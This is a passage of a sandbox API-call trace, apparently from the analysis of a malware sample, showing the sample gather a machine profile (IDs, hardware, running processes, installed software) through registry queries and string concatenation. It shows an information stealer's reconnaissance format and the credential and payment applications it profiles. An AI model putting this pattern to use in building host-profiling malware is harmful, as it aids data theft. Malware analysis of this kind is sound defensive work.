spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]"
[0054.961] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\n"
[0054.961] RegCloseKey (hKey=0x514) returned 0x0
[0054.961] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x22, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-0019-0409-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.961] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-0019-0409-0000-0000000FF1CE}") returned 90
[0054.961] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-0019-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.961] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Publisher MUI (English) 2016", lpcbData=0x1816c0*=0x27) returned 0x0
[0054.961] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- 